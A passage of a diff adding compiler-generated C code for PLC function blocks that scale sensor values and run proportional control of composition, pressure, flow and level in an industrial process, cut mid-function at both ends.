(BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_INPUT_VALUE,)) * __GET_VAR(data__->RATE,)) + __GET_VAR(data__->OFFSET,))); + + goto __end; + +__end: + return; +} // SCALE_TO_REAL_body__() + + + + + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->REAL_IN,0,retain) + __INIT_VAR(data__->UINT_OUT,0,retain) + __INIT_VAR(data__->DIV1_OUT,0,retain) + __INIT_VAR(data__->MUL4_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT6_OUT,0,retain) +} + +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV1_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->REAL_IN,), + (REAL)100.0)); + __SET_VAR(data__->,MUL4_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV1_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT6_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL4_OUT,))); + __SET_VAR(data__->,UINT_OUT,,__GET_VAR(data__->REAL_TO_UINT6_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_UINT_body__() + + + + + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->A_IN_PURGE_REAL,47.00,retain) + __INIT_VAR(data__->A_IN_PURGE,32000,retain) + __INIT_VAR(data__->A_SETPOINT_REAL,47.00,retain) + __INIT_VAR(data__->A_SETPOINT,32000,retain) + __INIT_VAR(data__->CURR_POS,16000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,25.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,25.0,retain) + __INIT_VAR(data__->NEW_POS,16000,retain) + __INIT_VAR(data__->COMPOSITION_K,1.0,retain) + __INIT_VAR(data__->COMPOSITION_TI,99.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL3,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->COMP_MAX,100.0,retain) + __INIT_VAR(data__->COMP_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB45_OUT,0,retain) + __INIT_VAR(data__->MUL46_OUT,0,retain) + __INIT_VAR(data__->ADD42_OUT,0,retain) + __INIT_VAR(data__->LIMIT44_OUT,0,retain) +} + +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL3.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL3); + __SET_VAR(data__->,A_IN_PURGE_REAL,,__GET_VAR(data__->SCALE_TO_REAL3.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,A_SETPOINT_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB45_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->A_SETPOINT_REAL,), + (REAL)__GET_VAR(data__->A_IN_PURGE_REAL,))); + __SET_VAR(data__->,MUL46_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB45_OUT,), + (REAL)__GET_VAR(data__->COMPOSITION_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL46_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD42_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT44_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD42_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT44_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // COMPOSITION_CONTROL_body__() + + + + + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SP_C,13107,retain) + __INIT_VAR(data__->A_SP_C,65535,retain) + __INIT_VAR(data__->PRESS_SP_C,65535,retain) + __INIT_VAR(data__->OVER_SP_C,65535,retain) + __INIT_VAR(data__->LEVEL_SP_C,65535,retain) + __INIT_VAR(data__->FLOW_SP,0,retain) + __INIT_VAR(data__->A_SP,0,retain) + __INIT_VAR(data__->PRESS_SP,0,retain) + __INIT_VAR(data__->OVER_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + __INIT_VAR(data__->MOVE3_OUT,0,retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) + __INIT_VAR(data__->MOVE11_OUT,0,retain) + __INIT_VAR(data__->MOVE15_OUT,0,retain) + __INIT_VAR(data__->MOVE19_OUT,0,retain) +} + +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,MOVE3_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->A_SP_C,))); + __SET_VAR(data__->,A_SP,,__GET_VAR(data__->MOVE3_OUT,)); + __SET_VAR(data__->,MOVE7_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->FLOW_SP_C,))); + __SET_VAR(data__->,FLOW_SP,,__GET_VAR(data__->MOVE7_OUT,)); + __SET_VAR(data__->,MOVE11_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->OVER_SP_C,))); + __SET_VAR(data__->,OVER_SP,,__GET_VAR(data__->MOVE11_OUT,)); + __SET_VAR(data__->,MOVE15_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->LEVEL_SP_C,))); + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->MOVE15_OUT,)); + __SET_VAR(data__->,MOVE19_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->PRESS_SP_C,))); + __SET_VAR(data__->,PRESS_SP,,__GET_VAR(data__->MOVE19_OUT,)); + + goto __end; + +__end: + return; +} // INITIALIZE_SP_body__() + + + + + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->PRESSURE_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE_SP,58981,retain) + __INIT_VAR(data__->CURR_POS,30000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,39.25,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,39.25,retain) + __INIT_VAR(data__->VALVE_POS,25886,retain) + __INIT_VAR(data__->PRESSURE_K,20.0,retain) + __INIT_VAR(data__->PRESSURE_TI,999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL5,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL4,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->PRESSURE_MAX,3200.00,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB57_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->SUB53_OUT,0,retain) + __INIT_VAR(data__->LIMIT55_OUT,0,retain) +} + +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL5.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL5); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL5.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL4.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL4); + __SET_VAR(data__->,PRESSURE_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL4.SCALED_REAL,)); + __SET_VAR(data__->,SUB57_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRESSURE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB57_OUT,), + (REAL)__GET_VAR(data__->PRESSURE_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,SUB53_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT55_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB53_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT55_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,VALVE_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_CONTROL_body__() + + + + + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_K,1.0,retain) + __INIT_VAR(data__->FLOW_TI,999.0,retain) + __INIT_VAR(data__->FLOW_TD,0.0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,6554,retain) + __INIT_VAR(data__->PRODUCT_FLOW_REAL,100.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->CURR_POS_REAL,60.9,retain) + __INIT_VAR(data__->NEW_POS,35000,retain) + __INIT_VAR(data__->CURR_POS,35000,retain) + __INIT_VAR(data__->FLOW_SET_REAL,100.0,retain) + __INIT_VAR(data__->FLOW_SET_IN,6554,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB59_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->ADD58_OUT,0,retain) + __INIT_VAR(data__->LIMIT40_OUT,0,retain) +} + +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,PRODUCT_FLOW_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->FLOW_SET_IN,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,FLOW_SET_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->,SUB59_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->FLOW_SET_REAL,), + (REAL)__GET_VAR(data__->PRODUCT_FLOW_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB59_OUT,), + (REAL)__GET_VAR(data__->FLOW_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,CURR_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,ADD58_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT40_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD58_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT40_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // FLOW_CONTROL_body__() + + + + + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->LIQUID_LEVEL,0,retain) + __INIT_VAR(data__->LEVEL_SP,30000,retain) + __INIT_VAR(data__->CURR_POS,0,retain) + __INIT_VAR(data__->NEW_POS,0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->LEVEL_K,10.0,retain) + __INIT_VAR(data__->LEVEL_TI,99999.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->LEVEL_MAX,100.0,retain) + __INIT_VAR(data__->LEVEL_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->LEVEL_REAL,44.18,retain) + __INIT_VAR(data__->POS_REAL,47.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->SP_REAL,44.18,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB32_OUT,0,retain) + __INIT_VAR(data__->MUL33_OUT,0,retain) + __INIT_VAR(data__->SUB30_OUT,0,retain) + __INIT_VAR(data__->LIMIT25_OUT,0,retain) +} + +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->LIQUID_LEVEL,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,LEVEL_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB32_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->SP_REAL,), + (REAL)__GET_VAR(data__->LEVEL_REAL,))); + __SET_VAR(data__->,MUL33_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB32_OUT,), + (REAL)__GET_VAR(data__->LEVEL_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL33_OUT,)); + __SET_VAR(data__->,SUB30_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT25_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB30_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT25_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // LEVEL_CONTROL_body__() + + + + + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->INPUT_UINT,0,retain) + __INIT_VAR(data__->OUTPUT_INT,0,retain) + __INIT_VAR(data__->DIV3_OUT,0,retain) + __INIT_VAR(data__->ABS8_OUT,0,retain) + __INIT_VAR(data__->UINT_TO_INT9_OUT,0,retain) +} + +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV3_OUT,,DIV__UINT__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->INPUT_UINT,), + (UINT)2)); + __SET_VAR(data__->,ABS8_OUT,,ABS__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->DIV3_OUT,))); + __SET_VAR(data__->,UINT_TO_INT9_OUT,,UINT_TO_INT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->ABS8_OUT,))); + __SET_VAR(data__->,OUTPUT_INT,,__GET_VAR(data__->UINT_TO_INT9_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_SIGNED_body__() + + + + + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->CURR_SP,58981,retain) + __INIT_VAR(data__->CURR_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRODUCT_SP_REAL,100.0,retain) + __INIT_VAR(data__->SP_UPDATE,0.0,retain) + __INIT_VAR(data__->PRODUCT_SP_NOMINL,100.0,retain) + __INIT_VAR(data__->PRODUCT_SP,13107,retain) + __INIT_VAR(data__->OVERRIDE_SP_REAL,2900.0,retain) + __INIT_VAR(data__->OVERRIDE_SP,63350,retain) + __INIT_VAR(data__->OVERRIDE_K,1.0,retain) + __INIT_VAR(data__->OVERRIDE_TI,99999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL7,retain); + __INIT_VAR(data__->PRESSURE_MAX,3000.0,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB86_OUT,0,retain) + __INIT_VAR(data__->MUL87_OUT,0,retain) + __INIT_VAR(data__->MAX84_OUT,0,retain) + __INIT_VAR(data__->ADD85_OUT,0,retain) + __INIT_VAR(data__->LIMIT67_OUT,0,retain) + __INIT_VAR(data__->DIV73_OUT,0,retain) + __INIT_VAR(data__->MUL75_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT79_OUT,0,retain) +} + +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL7.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL7); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL7.SCALED_REAL,)); + 